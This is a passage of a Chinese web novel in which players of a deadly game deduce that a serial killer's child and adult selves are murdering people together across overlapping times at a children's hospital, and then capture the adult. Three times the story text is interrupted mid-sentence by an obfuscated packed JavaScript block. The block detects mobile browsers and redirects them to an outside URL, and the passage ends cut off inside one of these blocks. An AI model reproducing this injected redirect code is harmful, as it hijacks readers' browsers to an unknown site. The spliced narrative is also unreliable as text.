“我知道了我知道凶手是谁了,我们错了!不是成年人凶手,没有两个凶手,不……是的,是两个凶手,但是没有成年人凶手…不对,有的,都有的……应该说、或者说、凶手就是他,只有他!” 陆行坐在椅子上闭目养神,忽然听到隋舟语无伦次的话,起身端了杯水走过去,递给他说:“不要着急,喝口水慢慢说。” “好……”隋舟揉了揉眼睛,喝了水,让自己清醒一些后,才慢慢地说道,“既然夜里是现在和三十年前的叠加态,说明现在的人和三十年前的人都可以在这个空间共存,所以……” 一点就通,陆行终于知道为什么隋舟刚才是那样的反应,因为这个结论确实让人震撼。 “所以,我们一直认为的一大一小两个凶手,其实不是两个凶手,而是一个凶手的两个时期!” 陆行点头接着说道:“也就是30年前的小孩凶手和30年后已经长大了的小孩凶手……两人一起制造了这场大屠杀。” “或许让我来还原一下,我们姑且称这位凶手为A。”隋舟思索着慢慢说道。 1995年,A10岁,因为杀了人被父母送进治疗中心进行改造,结果在这里,或许一个哭泣的小孩惹恼了他,他又杀了这个小孩,少年A终于又尝到了血的味道,从此少年A一发不可收拾…… 但是因为这个治疗中心的孩子们都是家长们并不关心的问题小孩,孩子出事后,也只是赔偿了事,少年A杀人的事便这样隐瞒了下去,或者即使没有隐瞒,法律也拿年纪如此小的少年A无可奈何,所以,小小恶魔得以长大成人。 然后,到了2025年,少年A变成了成年A,成年A还是没有放弃杀人,或许他努力忍耐了,保持了较低的杀人频率,但是他还是无法控制杀戮的感觉。 直到某一天夜里,他在这个儿童医院——当年他自己待过的治疗中心翻新成的儿童医院——再次寻找猎物的时候,没想到竟然这里的空间发生了叠加,成年A遇到了30年前还是小时候的他自己! 当然了,少年A和成年A都只需要一眼就能认出彼此,于是,“两人”一拍即合,少年A杀少年,成年A杀成年人,两人默契合作,开启了这个叠加时空的双重杀戮! ------------------------ 再过一个多小时,天将破晓,仅剩的几名玩家终于即将迎来进入这里的第六天,也就是最后两天。 袁秉躺在床上一夜无眠。 他已是不惑之年,作为一个大学教授,在幽云大学兢兢业业授课讲学,如今也算是桃李满天下。 童思静,是他多年来最得意的学生之一,他从未曾想过,自己在进入这里第二次的时候,竟然会看到自己的学生。 那之后,两人组队一同又走过了三个副本。 童思静在做学问上严谨仔细,可是在这游戏里思维却是跳跃开阔,甚至许多次的点睛之处都是那孩子想到的。 他一直以为,就算要死,也会是自己先死在这里,他隐约听说过那孩子读书不容易,天赋却又极高,走到博士这一步她是排除了千难万险才做到,死亡对于她来说,实在是都太过残忍。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164084|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 从见到那孩子尸体的那一刻,袁秉谦都是极不愿意相信的,虽然从进入这里的第一刻,对于生离死别他早就做好了心理准备,但是路程比他想的更短暂,这让他难以接受。 他甚至不知道回去以后,要怎样在现实生活中面对童思静失踪这件事,他怎么装作不知道?若被人看破,他又要如何解释? 得意门生的陨落让他心乱如麻,他拿出手机看了看时间,再坚持一个小时,天就亮了。 “砰砰砰” 突然地,就在这样的时刻响起了敲门声。 袁秉谦或许是思绪混乱,他没有多想,就这样走到了门前,询问:“谁?” “是我,袁叔叔。” 一个稚嫩的儿童声音响起:“住在你隔壁的02号,今天谢谢你给我们买的糖果,我睡不着,想找你给我读读书,鲍阿姨说读书要找你,你是大教授!” 袁秉谦将门开了一条缝,外面站着一个小男孩,他睁着圆圆的眼睛,笑起来露出一个虎牙,非常可爱。 童思静也有一颗虎牙,也很爱笑,这让袁秉谦心中一阵柔软,说道:“好吧,带书了嘛?” 袁秉谦一边问着一边缓缓开了门。 小男孩举起手中的书,是一本《格林童话》,说:“有!” 袁秉谦也对他笑了笑,伸手刚接过书,却心中忽然发现不对。 不对! 他记得之前童思静孩子死亡的时候,隋舟说过,这个书只有女孩的书房才有,为什么这个男孩会有?他低头看向那书本,上面刚好做了勾画,写了一些字,袁秉谦一看就知道那是童思静的字! 这是童思静问自己借过去的那一本!那时候童思静说每晚都要给小孩读书才能睡着! 袁秉谦抬头看向那小男孩。 不对,大半夜的,这小孩竟然去拿了刚死过的人房间里的书?!……眼前的小孩……他大意了!隋舟之前就说过,有一个凶手是小孩!!这个想法诞生的一瞬间,袁秉谦头皮发麻,他立刻猛地就要关门。 可是那门却仿佛被什么力量控制住了一般纹丝不动。 小男孩咯咯咯笑着说:“袁叔叔,你怎么了?” 袁秉谦看着小男孩,心里想着毕竟是小孩,力量有限,还是有希望,只好一边思考着手边什么能用,一边故作镇定地回答:“叔叔突然有点困,明天再跟你读书吧。” “啊……”小男孩有些失望,但思索之后便说道:“那好吧,今天不读书了,就请叔叔帮我另外一个小忙吧!” 袁秉谦后退了一步问:“什么忙?” 话音刚落,门猛地被推开,从小孩身后跳出来一个男人,男人精瘦身材,戴着一顶冷帽,和小男孩一样露出一颗小虎牙,他一手举着铁锤,砰的就砸在了袁秉谦的头上。 袁秉谦只觉得脸上什么东西一热,便倒在了地上。 “帮忙去死啦!!”小男孩咯咯咯的笑声伴随着尖锐的回答传入袁秉谦的耳朵里面…… 袁秉谦最后的目光看向门外的一大一小,那个小的他认识,那个大的……是个陌生人,但是又仿佛有些熟悉…… 19. 人之初19 “我想,吴妄母亲让我们救她这件事,如今也很清楚了。”隋舟靠在椅子上,随着真相的剥离,他感到轻松了一些。 陆行站在窗前,任微风吹过他的发梢,风中,他的声音有些不真实:“吴妄死于今年,被成年A杀死。我想这个案件已经被侦破了,成年A的身份也就被吴妄的母亲知晓。 后来,她母亲在儿童医院当档案管理员,无意中看到了三十年前,还是儿童治疗中心时被尘封的档案,或许档案中记录了一些当年发生的案件,她发现了这些案件的手法和女儿受害的手法一样,然后她辛苦收集了许多证据,最后确定了凶手在三十年前曾在这里进行过治疗,并且那时候就犯下了诸多杀人案。 当然,那时候的她即使知道了这些也没用,女儿已经被长大后的杀人魔杀死这一点已成定局。” “但是,某一天晚上,她或许因为有事在深夜回到了档案馆,遇到了一个小孩,这个小孩因为害怕某人,所以整天躲在档案室不愿意回宿舍,她可能就一直帮助小孩。 慢慢经过相处,她发现那小孩竟是来自于三十年前——正是杀害自己女儿凶手小时候在这里的时期!也就是说那小孩躲的,可能正是那个小小杀人魔!而她想必很容易推出了时空重叠的真相,也很快就发现了可以救已经死亡女儿的方法! 可是这个孩子太小了,她不可能能够帮忙报仇,而自己要在不引起注意的情况下,在夜里到小孩们的宿舍,也很难做到。于是,她开始等待,让小孩帮忙找那些或许可能帮上忙的人,直到遇上了我们。” “嗯。”隋舟伸了个懒腰,起身站到陆行旁边看向院落,皎白的月光洒向花园,那一团团月季开得美艳,“所以在这个副本中,我们无论如何都找不到吴妄,因为我们本就不需要去找她。” “救她的方式,本就不在于她。她是被成年A杀死的,所以我们只需要让A无法成年,就能救到吴妄。”陆行眼神一暗,“所以、姜母要我们做的事,就是杀死少年A。” “对。如果少年A能够为自己少年时所犯下的杀人案付出代价,那么就根本没有机会长大成人,成年A的受害者就永远不会被杀害。她要让我们做的是……改变过去。” 隋舟深深叹了一口气:“姜母真的是一片良苦用心,可怜天下父母心啊。” “一切都很清楚了,那么谁是少年A你知道吗?”陆行问。 隋舟却反问:“你呢?” 两人对视着,然后几乎同时开口说道:“鲍芙迎负责的02号就是少年A。” “我看到他虐杀猫埋在花园里了。”陆行说,“只是当时不知道这条线索指向什么。” 隋舟点头:“他之前有尿床,而且我去房间查探过几次,他的状态确实也不太对。” “尿床、虐杀动物……是非常刻板印象的指向,在现实中不能这么草率,但是在游戏中,这样的指向却很明确。” “并不算草率,或许最初可能有点难,但是目前剩下的几个孩子,即使用排除法,也只剩下02号了。” “所以……你觉得我们杀了02号,就可以获得通行卡了吗?” 陆行摇了摇头:“我的经验告诉我,没这么顺利。但是目前需要走的,也只能是这一步棋了。” ------------------------------ 早晨,广播照常响起,但是宿舍楼里却异常安静。隋舟和陆行一夜未睡,两人就在房间里分析案情到了天亮。听到广播才恍然已然天亮。 两人一前一后走出了门,不约而同地在门口站了一会儿,然后看到鲍芙迎走了出来。 三人对视一眼,都有了很不好的预感。剩下的那两个人,都不是拖延的人,可到现在都没有动静。 紧接着,陆行和隋舟不约而同地各自走向了吴崂和袁秉谦的房间,鲍芙迎身子几乎无法支撑,她倚靠着走廊墙壁,等待着他们两人的查看。 很快,两人出来,和鲍芙迎在走廊汇合。 “吴崂死了、吴崂孩子也死了。” “袁秉谦也死了、但是他孩子还活着。” 两人的话让鲍芙迎一阵头晕……怎么可能一夜死亡这么多人?又怎么会出现小孩没事大人却先死亡了的情况? 隋舟脸色有些差,看向吴崂房间里面说道:“吴崂死了,这不是好事。” 陆行自然知道他为什么脸色差,因为在解开谜团之后,这条规则是他们最担心的。 吴崂昨天杀死了他负责的孩子,而当晚他就死亡,说明孩子死亡会导致大人死亡这一条规则,是确实存在的。 而他们推论出,这次副本通关需要杀了少年A才能得到通行卡,可杀了少年A,与之对应的,鲍芙迎就会死。 杀死少年A还能勉强说服自己他是NPC,可鲍芙迎呢?这可是个活生生的人,隋舟看了一眼陆行,他的表情好像全无担心……他……真的在这里面杀过人吗? 鲍芙迎脑子很乱,越来越乱,便开口问道:“袁教授怎么会死?他……他孩子不是没事吗?” “所以正如我推测的那样,还存在一条大人单独适用的死亡规则。”隋舟蹙眉回答。 其他人的死亡是因为小孩死亡而死,但是童思静和小孩的死亡时间排除了他因为小孩死亡而死,所以现在可以分析的样本有童思静和袁秉谦两人。 童思静在死亡之前做了什么? 袁秉谦又做了什么? 隋舟回到小孩的房间查看,他发现在小孩房间桌子上放着几颗糖果,他立即去其他孩子房间看了,也有糖果。 “袁教授是不是昨天去超市买东西了!”隋舟问道。 鲍芙迎想了一下说:“是,昨天讨论结束后,他是说了这么一句,说自己去超市买点糖果安抚一下被家长抛弃的孩子们。” “我知道了……童思静死亡之前帮08号借了手表,而袁秉谦因为看这些孩子被父母扔在这里,可怜他们,于是给他们买了糖果。”隋舟说道,“玩家单独适用的死亡规则就是——释放善意!” 鲍芙迎皱眉:“这是什么规则?” 陆行听到隋舟说完后就明白了,给鲍芙迎解释道:“看来这次的死亡规则是凶手杀人筛选受害人的条件。” 隋舟说道:“大部分连环杀人犯在挑选受害人上,都有自己的一套规则。而这个规则的形成,有各种各样的原因……” “比如,有些连环杀人犯只挑选妓-女,因为这些人死了也没有人在意;还有的连环杀人犯挑选的受害者可能和自己某位亲人长得很像;曾经还有一名连环杀人犯专门挑选男大学生……而我们遇到的这个……” “我推测他小时候杀害的第一个人是这里某个哭泣的孩子,所以他挑选小孩受害者的规则就是哭泣。” “他成年后杀害的第一个受害者,很可能是一个对他释放善意的人,所以他的挑选规则就是释放善意的人,但恐怕也不只是因为如此……”隋舟推测,“成年人不像小孩那么容易受骗,释放善意的受害者还有一点共性就是,因为善良所以容易被骗。” “比如凶手可能是利用小孩、孕妇,或者自身的弱势来欺骗善良的人们,再将人杀害。” “总之,我可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164085|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确定,哭泣的小孩是小时候他杀人的规则;释放善意的大人,是他成年后的杀人规则;也就是我们的死亡禁-忌。” 鲍芙迎听他们说完更晕了:“等等,你们在说什么?什么成年后,小时候?” “这正是我们要告诉你的。”陆行看向鲍芙迎,压低了声音说道:“你负责的02号,就是这次的凶手。” 鲍芙迎脸色一变,声音都有些颤-抖,问:“那……凶手不是一大一小吗?那那个大的呢?” “没有大的。”陆行回答他:“不对,应该说,大的那个凶手也是02号,长大后的02号。” 鲍芙迎脑海里一片混乱,直到隋舟将一切谜团都给她讲清楚了之后,又整理了好一会儿,她才接受了发生的一切。 “天亮了。”陆行看向外面:“我还以为今天不会亮了。” “昨天天亮时间是3小时,前天是4小时,看来今天的天亮时间是2小时。”隋舟说道,“我们还是先送孩子到饭厅吧,等护士们把他们带走,到底怎么处理还需要好好计划。” 等到如往常一样,孩子们被护士带走后,鲍芙迎急切地问道:“我们接下来做什么?通行卡在哪里?” “接下来……”隋舟有些为难:“接下来就是看怎么处置02号,我们一起商量一下吧。” “除了杀了他,还有第二个答案吗?”陆行问。 隋舟蹙眉:“可是杀了他,你知道有什么结果。我在想,有没有可能,将他交给警察?在医院以外的地方,如果我们能够前往,是不是能找到警察?” 鲍芙迎一听,脸色顿时变得铁青,她愤怒地说道:“有用吗?他还是个孩子,交上去又能怎么样呢!关几天就出来!他照样会长大,长大后还是个杀人犯,然后杀死无辜的吴妄!” 隋舟和陆行都有些意外,没想到鲍芙迎在这件事上如此激动。 “小孩死了,大人就会死。”陆行看着鲍芙迎说道,“也就是说,他死了,你也会死。” 鲍芙迎一愣,本来就形容枯槁的身体这一刻仿佛脆弱得将要烟消云散了一般。 “不一定,或许有概率鲍芙迎不会出事。”隋舟缓缓开口,“我们已知是少年A杀小孩,成年A杀大人……但是成年A是三十年后的人,只能在晚上空间叠加的时候出现。 所以我们只要在白天将少年A杀死,趁着天黑前时空还没叠加的时候就拿着通行卡迅速离开就可以,今天一共2小时的天亮,也就是说我们只要在2小时内做完这些事,就都可以通关。” “但是我一个问题。”隋舟问陆行,“按照你们以前的经验,通行卡会出现在哪里?总不可能我们杀了少年A,通行卡凭空出现?” 陆行皱眉还未回答,鲍芙迎先开了口:“不,不会凭空出现,通行卡都是某种东西幻化的。” “幻化?”隋舟有些奇怪,“是什么意思?” 陆行说道:“一般通行卡都在一个副本的核心处、这个核心可能是人也可能是物件,但是在完成任务之前,那东西并非以通行卡的形式存在。” “那我们这个副本,你们觉得核心人物是谁?” 鲍芙迎问:“少年A?” 陆行摇了摇头:“这是一种可能,还有一种可能……” 隋舟点头:“对,吴妄的母亲。她给出了任务,如果我们完成了,按照逻辑应当是去她那里消除任务才对。” “分头行动吧。”陆行说道,“鲍芙迎你找个理由,先去将02号从治疗室接出来,如果能接出来,我们就按计划行事,如果接不出来……就得想办法去治疗室杀他了。” 20. 人之初20 鲍芙迎点头答应。 “我就在这里等你接02号回来,我先做些准备……”陆行眼神黯淡,像是下定了某种决心。 隋舟看了他一眼,说道:“不,你和我一起去档案室再找一下吴母或者那个小女孩,看看有没有什么重要东西遗漏。你经验丰富,万一通行卡是以其他形式存在,我疏忽了怎么办?我们快去快回,回来的时候估计鲍芙迎也差不多刚接小孩回来。” 陆行思考了一下,同意了。 安排完后,隋舟和陆行迅速离开了宿舍,前往东楼档案室。 可奇怪的是,鲍芙迎却并非立马前往治疗室,反而缓缓回到了自己的宿舍…… ------------------------- 隋舟和陆行到达档案室的时候,惊讶地发现之前的小女孩正在等着他们。 “吴奶奶说你们一定会回来找她,让我在这里等等你们。”小女孩睁着大大的眼睛,先开了口。 隋舟问:“她是不是有东西要给我们?” “这我就不知道了。”小女孩答应道,“吴奶奶让我带句话给你们,她今夜十二点会等你们,请你们务必要前来见一面,她说无论成功与否,他都想当面感谢你们,因为她凌晨就要离开这里了。” “什么?”隋舟和陆行心中大惊,这句话的潜台词有两个层面的意思: 一、必须在今夜十二点前完成任务,可是今天是第六天,而并非最早说的第七天。 二、白天完成任务后无法立刻离开,必须等到夜里十二点,通行证大概率是在十二点的吴母身上。 显然,这样的话,如果他们按照计划在2小时之类杀了少年A,那么在等待夜晚十二点的时候,鲍芙迎大概率会无法逃脱死亡禁忌,被成年A杀死。 如果先控制少年A,晚上十二点得到通行卡的线索,明天白天再杀死少年A,可游戏又提前到今夜结束了。 这一点改变,几乎让鲍芙迎的命运迎来了死局,而隋舟和陆行的命运也打上了问号,计划几乎泡汤。 两人稍微合计了一下后,立即和小女孩道别,迅速回到宿舍准备和鲍芙迎汇合,回去后却发现鲍芙迎还没回来。两人又等了一会儿,终于心中产生了浓浓的不安…… 隋舟思索着鲍芙迎的状态,忽然感觉到一丝怪异,他不禁皱眉:“不对,鲍芙迎有问题……” 两人迅速前往治疗室和卧室寻找鲍芙迎,到了宿舍后,他们发现鲍芙迎的手机竟然就放在床上,屏幕还常亮着…… 两人拿起手机,映入眼帘的就是一张小女孩的照片,小女孩和鲍芙迎长得非常像。 隋舟感到了变化,拿过手机看了一眼,只见那张照片是一个骨灰盒,骨灰盒上还有一个小女孩的照片。 “她女儿死了。”陆行一边问一边将照片往后翻了几张,瞬间他的脸色变得严肃,眼神也变得冷漠。 陆行将相册再往后翻,出现的是一张新闻报道的截屏,报道是一篇关于某小女孩跳楼自杀事件报道,但细细读来却令人触目惊心。 某小学,一个小女孩被三个同学霸凌,肋骨被打断了三根,右脸五处烟头烫伤,手臂刀伤划痕十余处,最后小女孩精神崩溃跳楼死亡。而这三名小孩因为年龄太小,未受任何处分。 出事后,三名孩子的家长很快他们离开了本地,没人知道他们去了哪里。 跳楼小女孩的家长在接下来的三年里一直在寻找这三名施暴者,但是一直没有找到,该家长表示自己绝对不会放弃,她一定要让这三个人受到惩罚。 “难怪。”隋舟痛心疾首,“是我大意了,鲍芙迎一直对小孩之间的霸凌表现得非常失控,我竟然没有去深-入想到原因。” “副本里需要思考的东西太多,几乎没有人能做到面面俱到。”陆行随意回复着隋舟的话,一边又看了看手机,发现新闻报道后还有一张截图,是备忘录的内容,上面写着: 小舟、陆先生:对不起,我要为女儿报仇,我要让小恶魔百倍尝到我女儿受的苦难,所以我无法这么快地杀了他。但是你们放心,我会在明天游戏结束前了结这一切,到时候你们就可以回去了。 陆行右脑开始偏头痛,他皱了皱眉冷冷地说道:“她不知道游戏结束时间提前了,这会害死所有人的。” 隋舟也很头疼……鲍芙迎不知道游戏结束时间提前,她一定会折磨少年A到明天晚上,无法在今夜之前完成任务,即使明天杀了少年A,但吴母永远不会再出现,大家都拿不到通行卡。 突如其来的坏消息们,终于让隋舟和陆行的命运也成了死局…… “不过,游戏不可能有死局。”陆行保持镇静,“一定会有什么办法。” 隋舟又看了看手机,说道:“现在首要情况就是我们要找到鲍芙迎,告诉她必须在今夜十二点前结束这一切。” “那她会去哪里?”陆行问隋舟也是问自己。 隋舟还在看着手机上面新闻的报道,半晌摇了摇头:“鲍芙迎留下来的线索里,里没有太多能推测的地点……” “但是这里太大了,地毯式搜索的话,到晚上都不一定能搜完。”陆行难得的有些担忧地说。 “鲍芙迎的女儿因为霸凌而死亡,她从未放弃寻找那些人。但是现在,她患癌症了,又加上进入了这个随时会死亡的游戏,这几乎压垮了她坚定的精神。” 隋舟整理目前信息,慢慢分析:“然后,这次的副本也是一个母亲复仇的故事,而凶手竟然也是一个少年犯,于是,她将自己的仇恨移情到了少年A身上……所以她挟持了少年A,要折磨他,然后在最后关头再杀了他……” “挟持少年A……”陆行皱眉思考:“也就是说,少年A和她一定是在一起的!” 隋舟抬头看向陆行:“嗯,这是肯定的。” “也就是说,我们要找到鲍芙迎只需要找到少年A,而要找到少年A,可以通过找到成年A……”陆行拿过手机看了一眼时间,“马上天黑了,天黑之后两个空间就会叠加,成年A就会出现在治疗中心的某个地方……” “你的意思是……成年A知道少年A在哪里……”隋舟听到陆行的论断,很快便反应过来,“我明白了,成年A是少年A长大后的状态,他当然有自己小时候经历过的事情的记忆!” 隋舟看向陆行:“就算曾经的少年A没有这一段记忆,但是今天,少年A的经历更新了,所以成年A的记忆也会跟着更新。” “唯一担心的就是,他会不会忘记了?虽然因为时空叠加,他们同时出现,但是毕竟从时间轴来看,他们是相隔了三十年的两个时期的个体,人真的能记住三十年前发生的事吗?” “不会忘记。”隋舟斩钉截铁地说道,“一个总是掌握生杀大权的杀人犯,某一次被其他人挟持甚至威胁生命危险这种事,对于他来说应当是很难忘的。更别说,这个记忆是实时刷新的!” 陆行看向窗外,天色暗下不少,他缓缓说道:“所以,现在的问题从鲍芙迎在哪里,变成了成年A在哪里……” 他……会在哪里? 两人一个站在窗前,一个坐在靠椅上,空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164086|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气中只剩沉默。 天光已然消失,今夜没有一点月光,一片黑暗突兀地就压了下来,压住了这一方小小空间。 隋舟的声音就在黑暗降临的时候传了出来。那声音和平时不太一样,带着长时间思考的余温,轻飘飘地荡进了陆行耳朵里。 “我想,我知道他今夜会出现在哪里……” 陆行听到隋舟的声音,比平时更柔和,在黑夜里,昏暗的灯光下,他的听觉仿佛变得灵敏,他感觉第一次如此清晰地听清了隋舟的声线,是一种清冷却又带着黏性的声音,仿佛在末尾处挂着一个钩子… 隋舟继续讲述着自己的推理。 “今夜,因为鲍芙迎挟持了少年A,成年A无法和小时候的自己汇合,他会犹豫,会踌躇,也会担心小时候的自己出事。但是……这几天他杀疯了,所以他一定无法控制自己的杀欲,一定会再次杀人,重温他还未遇到小时候的自己时独自杀人的感觉。” “而他会在哪里物色猎物,哪里就是他在今夜会出现的地方。” “对,他会到哪里物色猎物呢?少年A在的时候,他们会到宿舍狩猎,但是现在不行了,剩下的三个成年人一个挟持了他自己,我们俩不在,宿舍不再是好的选择,那么只剩下一个地方可以选择——急诊室。” 陆行明白了点头说道:“嗯,三十年前的治疗中心晚上都是关门的,而三十年后新开的儿童医院生意又不太好,夜里只有急诊室偶尔会来一两个人,所以急诊室是能物色到受害者的最合适的地方。” 隋舟点头,起身说道:“走吧,我们要快点了。” 两人到了急诊室先搜查了一圈,没有任何人出现,只有一个医生坐在急诊室病房里打盹。 陆行对隋舟说道:“你先在这里等,现在还有一点时间,我再到住院部去看一下,万一他出现在那边。半小时后我回来。” 隋舟想了一下,觉得两个人都在这里等着也确实浪费时间,便同意了。 陆行走了之后,隋舟坐在靠墙的长椅上静静等待。他脑海里一一掠过这几日在这里所看到、听到、发生的一切事情,他承认,这几日过去他好像已经适应了这样的规则世界。 事实上,他甚至觉得自己在寻常的日子里,大部分时间和这几日区别不大。他总是在命案发生时抽丝剥茧寻找真相,唯一的区别,只是现实中不像这里随时有着生命危险和那些超出认知的力量。 他很好奇,好奇陆行这样的人,度过了多少这样的日子;好奇姜梦蝶在这里到底遇到了什么;好奇这一切是如何诞生的。 所以,他一定不能死,也一定不会死,至少现在不能。 “快点快点!” “小心!医生!医生!”、 “撑住啊宝宝,撑住啊!医生快!” 瞬间,各种哭喊声骤然响起,医院的铃声大作,所有值班医生全部跑到了急诊室,只见三十多人迅速涌入,他们抱着十几个孩子,孩子们都昏昏沉沉,有些口吐白沫。 值班医生出来迅速接诊,孩子们被推进了急救室,家长们被关在外面,二三十个人在外面急切地踱步,走来走去,互相拥抱安慰。 陆行也出现在人群中,他已弄清楚了状况简单解释:“出事了,附近小学举办晚会,晚会上的茶歇有些问题,一共十七个孩子可能食物中毒。” 隋舟其实没太听进去,人太多了,看向陆行说:“他太狡猾了……” 隋舟一秒也不敢松懈,一个一个认真地看着眼前的男女老少,他一定混在这群人里……哪一个?到底是哪一个? 21. 人之初21 陆行环视了一圈,感觉每个人都不像,又每一个都可疑。他们听着每一个人的交谈,嘈杂、吵闹、哭声、交谈声、责备声融在一起…… “呜呜呜呜” “都怪你!非要读这个学校!” “护士、护士……还要多久啊……” “别担心,会没事的啊。” “啊!不好意思,撞到你了!” “呜呜呜……宝宝要是有事我也不活了,呜呜呜” “没关系,是我的问题,我腿不太好” “老师老师……你们学校到底怎么回事啊……” “对不起对不起,我、我也不知道,但是警察已经去了……” “……调查?哦好的……调查……” “咚趴——咚趴——咚趴——” “我电瓶车在外面,我去骑车” “放心,一定会给大家一个交代的!” “256尾号车牌是谁的?可以挪一下吗?” “啊,你去哪个诊室?我扶你吧,实在抱歉。” 隋舟盯着眼前的每一个人,听着每一句话,甚至因为太过专注,他的额头浸出细密的汗珠…… 有什么不对劲,有什么不对劲…… 咚趴——咚趴——咚趴——咚趴—— 这个声音…… 隋舟闭上眼睛,他飞快地在脑海中调取记忆,这个声音他听到过……什么时候?在哪里听到的? 隋舟混乱的记忆中,出现了来到这里的第一夜……当时,他靠在门后听到外面传来一阵声音……对就是那时候,门外一阵咚咚咚跑过的声音,在这阵声音里面夹杂着频率更低,声音更重的声音——咚、啪、咚、啪…… 一声重、一声轻,带着一点拖拽的声音—— 隋舟猛地睁开眼睛,他眼前刚好走过一个中年男人和年轻女人,年轻女人正扶着那中年男人往外走去,隋舟盯着那个男人,那个一瘸一拐的男人……… “脚步声轻重不同。”隋舟脸上从未有过的严肃,“腿部残疾就是他引诱别人释放善意的弱点,也是物色受害者的工具!陆行,就是这个人!。” 陆行看向那个男人的背影,他身高一米六左右,身形比较瘦弱,戴着一个冷帽。男人腿部因残疾一瘸一拐,走路仿佛很困难的样子,看起来如此羸弱的人,竟然是连环杀人犯? “跟上。”陆行扬了扬下巴,跟了上去。 到了门外的时候,男人对女孩说道:“我的电瓶车停在右边拐角的地方,那里挺黑的,我自己过去吧。” 女孩伸头看了一眼说:“实在不好意思,你本来腿脚就不便,我刚才还撞到你让你受伤了。没事的,就几步路了,我送你过去吧。” 男人好像有些不好意思,连忙表示真的没关系,但很快他又好像陷入了思考,最后又抬头看着女孩说道:“那好吧,麻烦你送我过去一下,现在像你这么善良的人,已经不多啦………” 陆行看着女孩和男人离开的方向,制止了想要跟上去的隋舟,然后他用手示意了一下,指了指后面又指了指外面,又指了指隋舟和原地,然后一闪身就从后门跟了出去。 隋舟没有看过这个医院地图,但是他看懂了陆行的意思,他让自己在原地等待,他从后面去包抄。 隋舟担心那个女孩出事,很想跟上去,但是又怕打草惊蛇,耽误了陆行的计划,便准备在原地站五分钟,如果陆行还没出现,就过去。 五分钟很快过去了,隋舟心中焦虑,于是在前台拿了一副可外借的拐棍作为防身工作,抬腿往右边巷子走去,可刚迈出了一步就听到一声沉闷的撞击声,然后就是咚的一声巨响。 隋舟赶紧往前跑去,却看到一个人一瘸一拐地从对向跑来,和刚才的孱弱不同,这时候的他虽然残疾但是跑得飞快,男人一脸的血,看着有些凄惨。而他后面不紧不慢地跟着一个白衬衫袖子挽起,穿着得体男人,只是这会儿,男人双眼发红,脸上似笑非笑,右边肩膀扛着一个晕倒的女人,步伐从容地跟在一瘸一拐的凶手身后。 这个情景,隋舟有一瞬间觉得那狼狈的男人不像杀人犯,陆行反而比较像一个变态的杀人犯。 虽然这样想,但是看到女孩得救,隋舟放了心,当那男人一瘸一拐地冲到自己身边时,隋舟举起手中的拐棍,对着男人脑袋就猛地敲了下去。 陆行走过来,看着倒下的A,啧了一声说:“下手真狠啊……这满脸血。” 隋舟冷漠地说道:“这血是你弄的…” 陆行扯了扯嘴角,算是回他了个无奈的笑容。 两人把A捆绑起来,拖到厕所里反锁上门,然后一盆水泼上头,将晕倒的A强行弄醒。 A只觉得自己脑袋发晕,刚醒来就听到一个男人的声音问自己:“小时候的你在哪里? A:“……” “说话。”陆行语调拖着显得懒懒的:“我知道你醒了。” A甩了甩脑袋,清醒了一些说道:“我不知道你们在说什么。” 隋舟看他不配合的样子,皱眉摆出一副凶狠的样子说:“知道吗?小时候的你,马上就要死了。” 听到这句话之后,A终于缓缓抬起了头看着隋舟,然后他脸上的那副可怜相消失殆尽,眼神中只剩下嗜血的凶狠。 他扭了扭头,脖子上的筋骨发出咔咔声,一字一句问道:“你们、是谁?” “我们都知道了,你和小时候的你‘两人’一起干的事。” 听到他们这样说,A并不惊讶,冷冷笑了一声:“然后呢?送我去警局?” “不。我们都知道去那儿不够。”隋舟高高挽起袖子,把手指按的咔咔响,然后慢慢绕着A踱步,仿佛很熟悉绑架威胁这样的“工作”,“或许,是抹杀掉你在这个世界上的存在呢?” 陆行没再说话,安静靠着墙站立,看着隋舟对A的拷问。 A听着隋舟的话,抬头看向他,但是这时候隋舟已经踱步到了他身后,A只能拼命地扭转脑袋,问:“什么意思?” “你想过没有,如果杀了小时候的你…”隋舟说着低低笑了两声,“那么现在的你会怎样?一个十岁的时候就死亡的人,四十岁还会存在吗?我真有些好奇你的结局。” A听到这句话瞬间睁大了眼睛,可很快他像是反应过来说:“但是,我现在还活着所以说明小时候的我暂时还没事,不是吗?” 隋舟听到他的话,有些佩服A在这个时候还能保持着逻辑。 “你说得没错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 